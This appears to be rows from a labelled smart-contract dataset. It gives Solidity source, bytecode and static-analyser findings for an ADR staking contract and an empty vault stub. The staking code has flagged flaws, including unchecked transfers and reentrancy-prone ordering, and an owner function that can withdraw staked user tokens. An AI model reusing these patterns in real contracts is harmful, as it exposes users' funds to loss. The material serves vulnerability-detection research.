{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,900 |
0x9af2107a0b121888d37ee4c9954e1ba1509e6e93
|
/*
* Adrenaline.finance STAKING CONTRACT.
* Token contract: 0xc990902073f97c3fa3705123364c51d00495107a
*
* => Website: https://adrenaline.finance
* => Twitter: https://twitter.com/AdrenalineFarm
* => Telegram chanel: https://t.me/adrenaline_announcements
* => Telegram chat: https://t.me/adrenalinefinance_chat
* => Discord: https://discord.gg/ecFagSm7gY
* => AirDrop: https://adrenalinefinance.gitbook.io/adrenaline-finance/airdrop
* => Affiliate program: https://adrenalinefinance.gitbook.io/adrenaline-finance/affiliate-program
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: MIT
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract ADR_MAKER is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// ADR token contract address
address public constant tokenAddress = 0xc990902073F97c3FA3705123364C51d00495107A;
// reward rate 126% per year
uint public constant rewardRate = 12600;
uint public constant rewardInterval = 365 days;
// staking fee 0.25%
uint public constant stakingFeeRate = 25;
// unstaking fee 0.25%
uint public constant unstakingFeeRate = 25;
// unstaking possible after 10 days
uint public constant cliffTime = 10 days;
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
uint private constant stakingAndDaoTokens = 13200e18;
function getStakingAndDaoAmount() public view returns (uint) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
// function to allow admin to claim *any* ERC20 tokens sent to this contract
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063c326bf4f11610071578063c326bf4f14610429578063d578ceab14610481578063d816c7d51461049f578063f2fde38b146104bd578063f3f91fa0146105015761012c565b80638da5cb5b1461031d57806398896d10146103515780639d76ea58146103a9578063b6b55f25146103dd578063bec4de3f1461040b5761012c565b8063583d42fd116100f4578063583d42fd146101c35780635ef057be1461021b5780636270cd18146102395780636a395ccb146102915780637b0a47ee146102ff5761012c565b80630f1a64441461013157806319aa70e71461014f578063268cab49146101595780632e1a7d4d14610177578063308feec3146101a5575b600080fd5b610139610559565b6040518082815260200191505060405180910390f35b610157610560565b005b61016161056b565b6040518082815260200191505060405180910390f35b6101a36004803603602081101561018d57600080fd5b81019080803590602001909291905050506105b4565b005b6101ad610962565b6040518082815260200191505060405180910390f35b610205600480360360208110156101d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610973565b6040518082815260200191505060405180910390f35b61022361098b565b6040518082815260200191505060405180910390f35b61027b6004803603602081101561024f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610990565b6040518082815260200191505060405180910390f35b6102fd600480360360608110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109a8565b005b610307610b16565b6040518082815260200191505060405180910390f35b610325610b1c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b40565b6040518082815260200191505060405180910390f35b6103b1610caf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610409600480360360208110156103f357600080fd5b8101908080359060200190929190505050610cc7565b005b610413611137565b6040518082815260200191505060405180910390f35b61046b6004803603602081101561043f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113f565b6040518082815260200191505060405180910390f35b610489611157565b6040518082815260200191505060405180910390f35b6104a761115d565b6040518082815260200191505060405180910390f35b6104ff600480360360208110156104d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611162565b005b6105436004803603602081101561051757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b1565b6040518082815260200191505060405180910390f35b620d2f0081565b610569336112c9565b565b60006902cb92cc8f67144000006001541061058957600090506105b1565b60006105aa6001546902cb92cc8f671440000061155f90919063ffffffff16565b9050809150505b90565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610669576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b620d2f006106bf600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261155f90919063ffffffff16565b11610715576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603481526020018061180c6034913960400191505060405180910390fd5b61071e336112c9565b73c990902073f97c3fa3705123364c51d00495107a73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156107a357600080fd5b505af11580156107b7573d6000803e3d6000fd5b505050506040513d60208110156107cd57600080fd5b8101908080519060200190929190505050610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6108a281600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155f90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108f933600261157690919063ffffffff16565b801561094457506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561095f5761095d3360026115a690919063ffffffff16565b505b50565b600061096e60026115d6565b905090565b60056020528060005260406000206000915090505481565b601981565b60076020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a0057600080fd5b73c990902073f97c3fa3705123364c51d00495107a73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a6457610a5d816001546115eb90919063ffffffff16565b6001819055505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ad557600080fd5b505af1158015610ae9573d6000803e3d6000fd5b505050506040513d6020811015610aff57600080fd5b810190808051906020019092919050505050505050565b61313881565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610b5682600261157690919063ffffffff16565b610b635760009050610caa565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610bb45760009050610caa565b6000610c08600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261155f90919063ffffffff16565b90506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000610ca1612710610c936301e13380610c8587610c776131388961160790919063ffffffff16565b61160790919063ffffffff16565b61163690919063ffffffff16565b61163690919063ffffffff16565b90508093505050505b919050565b73c990902073f97c3fa3705123364c51d00495107a81565b60008111610d3d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b73c990902073f97c3fa3705123364c51d00495107a73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610de057600080fd5b505af1158015610df4573d6000803e3d6000fd5b505050506040513d6020811015610e0a57600080fd5b8101908080519060200190929190505050610e8d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b610e96336112c9565b6000610ec0612710610eb260198561160790919063ffffffff16565b61163690919063ffffffff16565b90506000610ed7828461155f90919063ffffffff16565b905073c990902073f97c3fa3705123364c51d00495107a73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f7e57600080fd5b505af1158015610f92573d6000803e3d6000fd5b505050506040513d6020811015610fa857600080fd5b810190808051906020019092919050505061102b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b61107d81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115eb90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110d433600261157690919063ffffffff16565b611132576110ec33600261164f90919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6301e1338081565b60046020528060005260406000206000915090505481565b60015481565b601981565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111ba57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111f457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b60006112d482610b40565b905060008111156115175773c990902073f97c3fa3705123364c51d00495107a73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561136457600080fd5b505af1158015611378573d6000803e3d6000fd5b505050506040513d602081101561138e57600080fd5b8101908080519060200190929190505050611411576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61146381600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115eb90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114bb816001546115eb90919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008282111561156b57fe5b818303905092915050565b600061159e836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61167f565b905092915050565b60006115ce836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6116a2565b905092915050565b60006115e48260000161178a565b9050919050565b6000808284019050838110156115fd57fe5b8091505092915050565b6000808284029050600084148061162657508284828161162357fe5b04145b61162c57fe5b8091505092915050565b60008082848161164257fe5b0490508091505092915050565b6000611677836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61179b565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461177e57600060018203905060006001866000018054905003905060008660000182815481106116ed57fe5b906000526020600020015490508087600001848154811061170a57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061174257fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611784565b60009150505b92915050565b600081600001805490509050919050565b60006117a7838361167f565b611800578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611805565b600090505b9291505056fe596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea2646970667358221220868ab91a1a20767caf5f22c75379b6ef736aaf6584e7c7221a4a38eef6aed52e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,901 |
0x76b2d8A03Ada1B767974aa6Af20C86737Eb3e103
|
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
contract UserModule {
/**
* @dev User function to supply.
* @param token_ address of token.
* @param amount_ amount to supply.
* @param to_ address to send vTokens to.
* @return vtokenAmount_ amount of vTokens sent to the `to_` address passed
*/
function supply(
address token_,
uint256 amount_,
address to_
) external returns (uint256 vtokenAmount_) {}
/**
* @dev User function to withdraw.
* @param amount_ amount to withdraw.
* @param to_ address to send tokens to.
* @return vtokenAmount_ amount of vTokens burnt from caller
*/
function withdraw(uint256 amount_, address to_)
external
returns (uint256 vtokenAmount_)
{}
/**
* @dev If ratio is below then this function will allow anyone to swap from steth -> weth.
* @param amt_ amount of stEth to swap for weth.
*/
function leverage(
uint amt_
) external {}
/**
* @dev If ratio is above then this function will allow anyone to payback WETH and withdraw astETH to msg.sender at 1:1 ratio.
* @param amt_ amount of weth to swap for steth.
*/
function deleverage(
uint amt_
) external {}
event supplyLog(
uint256 amount_,
address indexed caller_,
address indexed to_
);
event withdrawLog(
uint256 amount_,
address indexed caller_,
address indexed to_
);
event leverageLog(
uint amt_
);
event deleverageLog(
uint amt_
);
}
contract RebalancerModule {
/**
* @dev low gas function just to collect profit.
* @notice Collected the profit & leave it in the DSA itself to optimize further on gas.
* @param isWeth what token to swap. WETH or stETH.
* @param withdrawAmt_ need to borrow any weth amount or withdraw steth for swaps from Aave position.
* @param amt_ amount to swap into base vault token.
* @param unitAmt_ unit amount for swap.
* @param oneInchData_ 1inch's data for the swaps.
*/
function collectProfit(
bool isWeth, // either weth or steth
uint256 withdrawAmt_,
uint256 amt_,
uint256 unitAmt_,
uint256 oneInchData_
) external {}
/**
* @dev Rebalancer function to leverage and rebalance the position.
*/
function rebalanceOne(
address flashTkn_,
uint256 flashAmt_,
uint256 route_,
address[] memory vaults_, // leverage using other vaults
uint256[] memory amts_,
uint256 leverageAmt_,
uint256 swapAmt_, // 1inch's swap amount
uint256 tokenSupplyAmt_,
uint256 tokenWithdrawAmt_,
uint256 unitAmt_,
bytes memory oneInchData_
) external {}
/**
* @dev Rebalancer function for saving. To be run in times of making position less risky or to fill up the withdraw amount for users to exit
*/
function rebalanceTwo(
address flashTkn_,
uint256 flashAmt_,
uint256 route_,
uint256 saveAmt_,
uint256 tokenSupplyAmt_,
uint256 unitAmt_,
bytes memory oneInchData_
) external {}
event collectProfitLog(
bool isWeth,
uint256 withdrawAmt_,
uint256 amt_,
uint256 unitAmt_
);
event rebalanceOneLog(
address flashTkn_,
uint256 flashAmt_,
uint256 route_,
address[] vaults_,
uint256[] amts_,
uint256 leverageAmt_,
uint256 swapAmt_,
uint256 tokenSupplyAmt_,
uint256 tokenWithdrawAmt_,
uint256 unitAmt_
);
event rebalanceTwoLog(
address flashTkn_,
uint256 flashAmt_,
uint256 route_,
uint256 saveAmt_,
uint256 unitAmt_
);
}
contract AdminModule {
/**
* @dev Update rebalancer.
* @param rebalancer_ address of rebalancer.
* @param isRebalancer_ true for setting the rebalancer, false for removing.
*/
function updateRebalancer(address rebalancer_, bool isRebalancer_)
external
{}
/**
* @dev Update withdrawal fee.
* @param newWithdrawalFee_ new withdrawal fee.
*/
function updateWithdrawalFee(uint256 newWithdrawalFee_) external {}
/**
* @dev Update ratios.
* @param ratios_ new ratios.
*/
function updateRatios(uint16[] memory ratios_) external {}
/**
* @dev Change status.
* @param status_ new status, function to pause all functionality of the contract, status = 2 -> pause, status = 1 -> resume.
*/
function changeStatus(uint256 status_) external {}
/**
* @dev function to initialize variables
*/
function initialize(
string memory name_,
string memory symbol_,
address rebalancer_,
address token_,
address atoken_,
uint256 revenueFee_,
uint256 withdrawalFee_,
uint256 idealExcessAmt_,
uint16[] memory ratios_,
uint256 swapFee_,
uint256 saveSlippage_
) external {}
event updateRebalancerLog(address auth_, bool isAuth_);
event changeStatusLog(uint256 status_);
event updateRatiosLog(
uint16 maxLimit,
uint16 maxLimitGap,
uint16 minLimit,
uint16 minLimitGap,
uint16 stEthLimit,
uint128 maxBorrowRate
);
event updateWithdrawalFeeLog(
uint256 oldWithdrawalFee_,
uint256 newWithdrawalFee_
);
}
contract ReadModule {
function isRebalancer(address accountAddr_) public view returns (bool) {}
/**
* @dev Base token of the vault
*/
function token() public view returns (address) {}
/**
* @dev Minimum token limit used inside the functions
*/
function tokenMinLimit() public view returns (uint256) {}
/**
* @dev atoken of the base token of the vault
*/
function atoken() public view returns (address) {}
/**
* @dev DSA for this particular vault
*/
function vaultDsa() public view returns (address) {}
struct Ratios {
uint16 maxLimit; // Above this withdrawals are not allowed
uint16 maxLimitGap;
uint16 minLimit; // After leverage the ratio should be below minLimit & above minLimitGap
uint16 minLimitGap;
uint16 stEthLimit; // if 7500. Meaning stETH collateral covers 75% of the ETH debt. Excess ETH will be covered by token limit.
// send borrow rate in 4 decimals from UI. In the smart contract it'll convert to 27 decimals which where is 100%
uint128 maxBorrowRate; // maximum borrow rate above this leveraging should not happen
}
/**
* @dev Ratios to set particular limits on leveraging, saving and risks of the vault.
*/
function ratios() public view returns (Ratios memory) {}
/**
* @dev last stored revenue exchange price
*/
function lastRevenueExchangePrice() public view returns (uint256) {}
/**
* @dev cut to take from the profits
*/
function revenueFee() public view returns (uint256) {}
/**
* @dev base token revenue stored in the vault
*/
function revenue() public view returns (uint256) {}
/**
* @dev ETH revenue stored in the vault
*/
function revenueEth() public view returns (uint256) {}
/**
* @dev Withdrawl Fee of the vault
*/
function withdrawalFee() public view returns (uint256) {}
/**
* @dev extra eth/stETH amount to leave in the vault for easier swaps.
*/
function idealExcessAmt() public view returns (uint256) {}
/**
* @dev Fees of leverage swaps.
*/
function swapFee() public view returns (uint256) {}
/**
* @dev Max allowed slippage at the time of saving the vault
*/
function saveSlippage() public view returns (uint256) {}
}
contract HelperReadFunctions {
/**
* @dev Helper function to token balances of everywhere.
*/
function getVaultBalances()
public
view
returns (
uint256 tokenCollateralAmt_,
uint256 stethCollateralAmt_,
uint256 wethDebtAmt_,
uint256 tokenVaultBal_,
uint256 tokenDSABal_,
uint256 netTokenBal_
)
{}
// returns net eth. net stETH + ETH - net ETH debt.
function getNewProfits()
public
view
returns (
uint256 profits_
)
{}
/**
* @dev Helper function to get current exchange price and new revenue generated.
*/
function getCurrentExchangePrice()
public
view
returns (uint256 exchangePrice_, uint256 newTokenRevenue_)
{}
}
contract ERC20Functions {
function decimals() public view returns (uint8) {}
function totalSupply() external view returns (uint256) {}
function balanceOf(address account) external view returns (uint256) {}
function transfer(address to, uint256 amount) external returns (bool) {}
function allowance(address owner, address spender) external view returns (uint256) {}
function approve(address spender, uint256 amount) external returns (bool) {}
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool) {}
function name() external view returns (string memory) {}
function symbol() external view returns (string memory) {}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract VaultDummyImplementation is UserModule, RebalancerModule, ReadModule, HelperReadFunctions, ERC20Functions {
receive() external payable {}
}
|
